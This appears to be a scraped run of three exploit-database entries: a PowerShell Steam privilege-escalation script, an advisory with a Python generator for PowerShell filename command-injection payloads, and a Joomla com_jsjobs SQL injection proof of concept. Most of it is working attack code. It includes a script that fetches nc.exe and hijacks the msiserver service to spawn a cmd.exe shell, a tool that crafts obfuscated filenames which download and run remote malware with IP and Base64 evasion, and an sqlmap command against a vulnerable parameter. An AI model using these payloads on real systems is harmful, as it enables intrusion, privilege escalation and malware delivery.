  23. $SteamRegKey = "HKLM:\SOFTWARE\WOW6432Node\Valve\Steam\NSIS" $MSIRegKey = "HKLM:\SYSTEM\CurrentControlSet\Services\msiserver" $RegDir = "C:\Windows\Temp\RegLN.exe" $PayDir = "C:\Windows\Temp\payload.exe" $Payload = "c:\windows\system32\cmd.exe /c c:\windows\temp\payload.exe 127.0.0.1 4444 -e cmd.exe" $PayDownload = "https://raw.githubusercontent.com/AbsoZed/SteamPrivEsc/master/nc.exe" $RegDownload = "https://raw.githubusercontent.com/AbsoZed/SteamPrivEsc/master/RegLN.exe" $WebClient = New-Object System.Net.WebClient If(!((Test-Path -Path $RegDir) -And (Test-Path -Path $PayDir))) { $WebClient.DownloadFile($PayDownload, $PayDir) $WebClient.DownloadFile($RegDownload, $RegDir) } If(Get-ItemProperty -Path $SteamRegKey -Name ImagePath -ErrorAction SilentlyContinue) { Start-Service -DisplayName "Steam Client Service" Set-ItemProperty -Path $MSIRegKey -Name "ImagePath" -Value $Payload Start-Service -Name "msiserver" } Else { Remove-Item -Path $SteamRegKey -Recurse Start-Process -FilePath $RegDir -ArgumentList "HKLM\Software\Wow6432Node\Valve\Steam\NSIS HKLM\SYSTEM\CurrentControlSet\Services\msiserver" Start-Service -DisplayName "Steam Client Service" Set-ItemProperty -Path $MSIRegKey -Name "ImagePath" -Value $Payload Start-Service -Name "msiserver" }
  24. ''' [+] Credits: John Page (aka hyp3rlinx) [+] Website: hyp3rlinx.altervista.org [+] Source: http://hyp3rlinx.altervista.org/advisories/MICROSOFT-WINDOWS-POWERSHELL-UNSANITIZED-FILENAME-COMMAND-EXECUTION.txt [+] ISR: Apparition Security [Vendor] www.microsoft.com [Product] Windows PowerShell Windows PowerShell is a Windows command-line shell designed especially for system administrators. PowerShell includes an interactive prompt and a scripting environment that can be used independently or in combination. [Vulnerability Type] Unsanitized Filename Command Execution [CVE Reference] N/A [Security Issue] PowerShell can potentially execute arbitrary code when running specially named scripts due to trusting unsanitized filenames. This occurs when ".ps1" files contain semicolons ";" or spaces as part of the filename, causing the execution of a different trojan file; or the running of unexpected commands straight from the filename itself without the need for a second file. For trojan files it doesn't need to be another PowerShell script and can be one of the following ".com, .exe, .bat, .cpl, .js, .vbs and .wsf. Therefore, the vulnerably named file ".\Hello;World.ps1" will instead execute "hello.exe", if that script is invoked using the standard Windows shell "cmd.exe" and "hello.exe" resides in the same directory as the vulnerably named script. However, when such scripts are run from PowerShells shell and not "cmd.exe" the "&" (call operator) will block our exploit from working. Still, if the has user enabled ".ps1" scripts to open with PowerShell as its default program, all it takes is double click the file to trigger the exploit and the "& call operator" will no longer save you. Also, if the user has not enabled PowerShell to open .ps1 scripts as default; then running the script from cmd.exe like: c:\>powershell "\Hello;World.ps1" will also work without dropping into the PowerShell shell. My PoC will download a remote executable save it to the victims machine and then execute it, and the PS files contents are irrelevant. Also, note I use "%CD" to target the current working directory where the vicitm has initially opened it, after it calls "iwr" (invoke-webrequest) abbreviated for space then it sleeps for 2 seconds and finally executes. C:\>powershell [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes("'powershell iwr 192.168.1.10/n -O %CD%\n.exe ;sleep -s 2;start n.exe'")) This can undermine the integrity of PowerShell as it potentially allows unexpected code execution; even when the scripts contents are visually reviewed. We may also be able to bypass some endpoint protection or IDS systems that may look at the contents or header of a file but not its filename where are commands can be stored. For this to work the user must have enabled PowerShell as its default program when opening ".ps1" files. First, we create a Base64 encoded filename for obfuscation; that will download and execute a remote executable named in this case "n.exe". c:\>powershell [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes("'powershell iwr 192.168.1.10/n -O %CD%\n.exe ;sleep -s 2;start n.exe'")) Give the PS script a normal begining name, then separate commands using ";" semicolon e.g. Test;powershell -e <BASE64 ENCODED COMMANDS>;2.ps1 Create the executable without a file extension to save space for the filename then save it back using the -O parameter. The "-e" is abbreviated for EncodedCommand to again save filename space. Host the executable on web-server or just use python -m SimpleHTTPServer 80 or whatever. Double click to open in PowerShell watch the file get downloaded saved and executed! My example is used as a "filename embedded downloader", but obviously we can just call other secondary trojan files of various types in the same directory. Note: User interaction is required, and obviously running any random PS script is dangerous... but hey we looked at the file content and it simply printed a string! [Exploit / PoC] ''' from base64 import b64encode from base64 import b64decode from socket import * import argparse,sys,socket,struct,re #GGPowerShell #Microsoft Windows PowerShell - Unsantized Filename RCE Dirty File Creat0r. # #Original advisory: #http://hyp3rlinx.altervista.org/advisories/MICROSOFT-WINDOWS-POWERSHELL-UNSANITIZED-FILENAME-COMMAND-EXECUTION.txt # #Original PoC: #https://www.youtube.com/watch?v=AH33RW9g8J4 # #By John Page (aka hyp3rlinx) #Apparition Security #========================= #Features added to the original advisory script: # #Original script may have issues with -O for save files with certain PS versions, so now uses -OutFile. # #Added: server port option (Base64 mode only) # #Added: -z Reverse String Command as an alternative to default Base64 encoding obfuscation. #Example self reversing payload to save and execute a file "n.js" from 127.0.0.1 port 80 is only 66 bytes. # #$a='sj.n trats;sj.n eliFtuO- 1.0.0.721 rwi'[-1..-38]-join'';iex $a # #-z payload requires a forced malware download on server-side, defaults port 80 and expects an ip-address. # #Added: IP to Integer for extra evasion - e.g 127.0.0.1 = 2130706433 # #Added: Prefix whitespace - attempt to hide the filename payload by push it to the end of the filename. # #Since we have space limit, malware names should try be 5 chars max e.g. 'a.exe' including the ext to make room for #IP/Host/Port and whitespace especially when Base64 encoding, for reverse command string option we have more room to play. #e.g. a.exe or n.js (1 char for the name plus 2 to 3 chars for ext plus the dot). # #All in the name of the dirty PS filename. #========================================= BANNER=''' ________________ _____ __ _____ __ __ / ____/ ____/ __ \____ _ _____ _____/ ___// /_ |__ // / / / / / __/ / __/ /_/ / __ \ | /| / / _ \/ ___/\__ \/ __ \ /_ </ / / / / /_/ / /_/ / ____/ /_/ / |/ |/ / __/ / ___/ / / / /__/ / /___/ /___ \____/\____/_/ \____/|__/|__/\___/_/ /____/_/ /_/____/_____/_____/ By hyp3rlinx ApparitionSec ''' FILENAME_PREFIX="Hello-World" POWERSHELL_OBFUSCATED="poWeRshELl" DEFAULT_PORT="80" DEFAULT_BASE64_WSPACE_LEN=2 MAX_CHARS = 254 WARN_MSG="Options: register shorter domain name, try <ip-address> -i flag, force-download or omit whitespace." def parse_args(): parser.add_argument("-s", "--server", help="Server to download malware from.") parser.add_argument("-p", "--port", help="Malware server port, defaults 80.") parser.add_argument("-m", "--locf", help="Name for the Malware upon download.") parser.add_argument("-r", "--remf", nargs="?", help="Malware to download from the remote server.") parser.add_argument("-f", "--force_download", nargs="?", const="1", help="No malware name specified, malwares force downloaded from the server web-root, malware type must be known up front.") parser.add_argument("-z", "--rev_str_cmd", nargs="?", const="1", help="Reverse string command obfuscation Base64 alternative, ip-address and port 80 only, Malware must be force downloaded on the server-side, see -e.") parser.add_argument("-w", "--wspace", help="Amount of whitespace to use for added obfuscation, Base64 is set for 2 bytes.") parser.add_argument("-i", "--ipevade", nargs="?", const="1", help="Use the integer value of the malware servers IP address for obfuscation/evasion.") parser.add_argument("-e", "--example", nargs="?", const="1", help="Show example use cases") return parser.parse_args() #self reverse PS commands def rev_str_command(args): malware=args.locf[::-1] revload=malware revload+=" trats;" revload+=malware revload+=" eliFtuO- " revload+=args.server[::-1] revload+=" rwi" payload = "$a='" payload+=malware payload+=" trats;" payload+=malware payload+=" eliFtuO- " payload+=args.server[::-1] payload+=" rwi'[-1..-"+str(len(revload)) payload+="]-join '';iex $a" return payload def ip2int(addr): return struct.unpack("!I", inet_aton(addr))[0] def ip2hex(ip): x = ip.split('.') return '0x{:02X}{:02X}{:02X}{:02X}'.format(*map(int, x)) def obfuscate_ip(target): IPHex = ip2hex(target) return str(ip2int(IPHex)) def decodeB64(p): return b64decode(p) def validIP(host): try: socket.inet_aton(host) return True except socket.error: return False def filename_sz(space,cmds,mode): if mode==0: return len(FILENAME_PREFIX)+len(space)+ 1 +len(POWERSHELL_OBFUSCATED)+ 4 + len(cmds)+ len(";.ps1") else: return len(FILENAME_PREFIX) + len(space) + 1 + len(cmds) + len(";.ps1") def check_filename_size(sz): if sz > MAX_CHARS: print "Filename is", sz, "chars of max allowed", MAX_CHARS print WARN_MSG return False return True def create_file(payload, args): try: f=open(payload, "w") f.write("Write-Output 'Have a good night!'") f.close() except Exception as e: print "[!] File not created!" print WARN_MSG return False return True def cmd_info(t,p): print "PAYLOAD: "+p if t==0: print "TYPE: Base64 encoded payload." else: print "TYPE: Self Reversing String Command (must force-download the malware server side)." def main(args): global FILENAME_PREFIX if len(sys.argv)==1: parser.print_help(sys.stderr) sys.exit(1) if args.example: usage() exit() sz=0 space="" b64payload="" reverse_string_cmd="" if not validIP(args.server): if not args.rev_str_cmd: if args.server.find("http://")==-1: args.server = "http://"+args.server if args.ipevade: args.server = args.server.replace("http://", "") if validIP(args.server): args.server = obfuscate_ip(args.server) else: print "[!] -i (IP evasion) requires a valid IP address, see Help -h." exit() if not args.locf: print "[!] Missing local malware save name -m flag see Help -h." exit() if not args.rev_str_cmd: if not args.remf and not args.force_download: print "[!] No remote malware specified, force downloading are we? use -f or -r flag, see Help -h." exit() if args.remf and args.force_download: print "[!] Multiple download options specified, use -r or -f exclusively, see Help -h." exit() if args.force_download: args.remf="" if args.remf: #remote file can be extension-less if not re.findall("^[~\w,a-zA-Z0-9]$", args.remf) and not re.findall("^[~\w,\s-]+\.[A-Za-z0-9]{2,3}$", args.remf): print "[!] Invalid remote malware name specified, see Help -h." exit() #local file extension is required if not re.findall("^[~\w,\s-]+\.[A-Za-z0-9]{2,3}$", args.locf): print "[!] Local malware name "+args.locf+" invalid, must contain no paths and have the correct extension." exit() if not args.port: args.port = DEFAULT_PORT if args.wspace: args.wspace = int(args.wspace) space="--IAA="*DEFAULT_BASE64_WSPACE_LEN if args.wspace != DEFAULT_BASE64_WSPACE_LEN: print "[!] Ignoring", args.wspace, "whitespace amount, Base64 default is two bytes" filename_cmd = "powershell iwr " filename_cmd+=args.server filename_cmd+=":" filename_cmd+=args.port filename_cmd+="/" filename_cmd+=args.remf filename_cmd+=" -OutFile " filename_cmd+=args.locf filename_cmd+=" ;sleep -s 2;start " filename_cmd+=args.locf b64payload = b64encode(filename_cmd.encode('UTF-16LE')) sz = filename_sz(space, b64payload, 0) FILENAME_PREFIX+=space FILENAME_PREFIX+=";" FILENAME_PREFIX+=POWERSHELL_OBFUSCATED FILENAME_PREFIX+=" -e " FILENAME_PREFIX+=b64payload FILENAME_PREFIX+=";.ps1" COMMANDS = FILENAME_PREFIX else: if args.server.find("http://")!=-1: args.server = args.server.replace("http://","") if args.force_download: print "[!] Ignored -f as forced download is already required with -z flag." if args.wspace: space=" "*int(args.wspace) if args.remf: print "[!] Using both -z and -r flags is disallowed, see Help -h." exit() if args.port: print "[!] -z flag must use port 80 as its default, see Help -h." exit() if not re.findall("^[~\w,\s-]+\.[A-Za-z0-9]{2,3}$", args.locf): print "[!] Local Malware name invalid -m flag." exit() reverse_string_cmd = rev_str_command(args) sz = filename_sz(space, reverse_string_cmd, 1) FILENAME_PREFIX+=space FILENAME_PREFIX+=";" FILENAME_PREFIX+=reverse_string_cmd FILENAME_PREFIX+=";.ps1" COMMANDS=FILENAME_PREFIX if check_filename_size(sz): if create_file(COMMANDS,args): if not args.rev_str_cmd: cmd_info(0,decodeB64(b64payload)) else: cmd_info(1,reverse_string_cmd) return sz return False def usage(): print "(-r) -s <domain-name.xxx> -p 5555 -m g.js -r n.js -i -w 2" print " Whitespace, IP evasion, download, save and exec malware via Base64 encoded payload.\n" print " Download an save malware simply named '2' via port 80, rename to f.exe and execute." print " -s <domain-name.xxx> -m a.exe -r 2\n" print "(-f) -s <domain-name.xxx> -f -m d.exe" print " Expects force download from the servers web-root, malware type must be known upfront.\n" print "(-z) -s 192.168.1.10 -z -m q.cpl -w 150" print " Reverse string PowerShell command alternative to Base64 obfuscation" print " uses self reversing string of PS commands, malware type must be known upfront." print " Defaults port 80, ip-address only and requires server-side forced download from web-root.\n" print "(-i) -s 192.168.1.10 -i -z -m ~.vbs -w 100" print " Reverse string command with (-i) IP as integer value for evasion.\n" print " Base64 is the default command obfuscation encoding, unless -z flags specified." if __name__=="__main__": print BANNER parser = argparse.ArgumentParser() sz = main(parse_args()) if sz: print "DIRTY FILENAME SIZE: %s" % (sz) +"\n" print "PowerShell Unsantized Filename RCE file created." ''' [POC Video URL] https://www.youtube.com/watch?v=AH33RW9g8J4 [Network Access] Remote [Severity] High [Disclosure Timeline] Vendor Notification: July 20, 2019 MSRC "does not meet the bar for security servicing" : July 23, 2019 August 1, 2019 : Public Disclosure [+] Disclaimer The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. All content (c). ''' hyp3rlinx
  25. #Exploit Title: Joomla! component com_jsjobs - 'customfields.php' SQL Injection #Dork: inurl:"index.php?option=com_jsjobs" #Date: 13.08.19 #Exploit Author: qw3rTyTy #Vendor Homepage: https://www.joomsky.com/ #Software Link: https://www.joomsky.com/5/download/1 #Version: 1.2.5 #Tested on: Debian/nginx/joomla 3.9.0 ##################################### #Vulnerability details: ##################################### Vulnerable code is in line 171 in file site/models/customfields.php 169 function dataForDepandantField( $val , $childfield){ 170 $db = $this->getDBO(); 171 $query = "SELECT userfieldparams,fieldtitle FROM `#__js_job_fieldsordering` WHERE field = '".$childfield."'"; //!!! 172 $db->setQuery($query); 173 $data = $db->loadObject(); ##################################### #PoC: ##################################### $> sqlmap.py -u "http://localhost/index.php?option=com_jsjobs&task=customfields.datafordepandantfield&fvalue=0&child=0" --random-agent --dbms=mysql --method GET -p child --technique E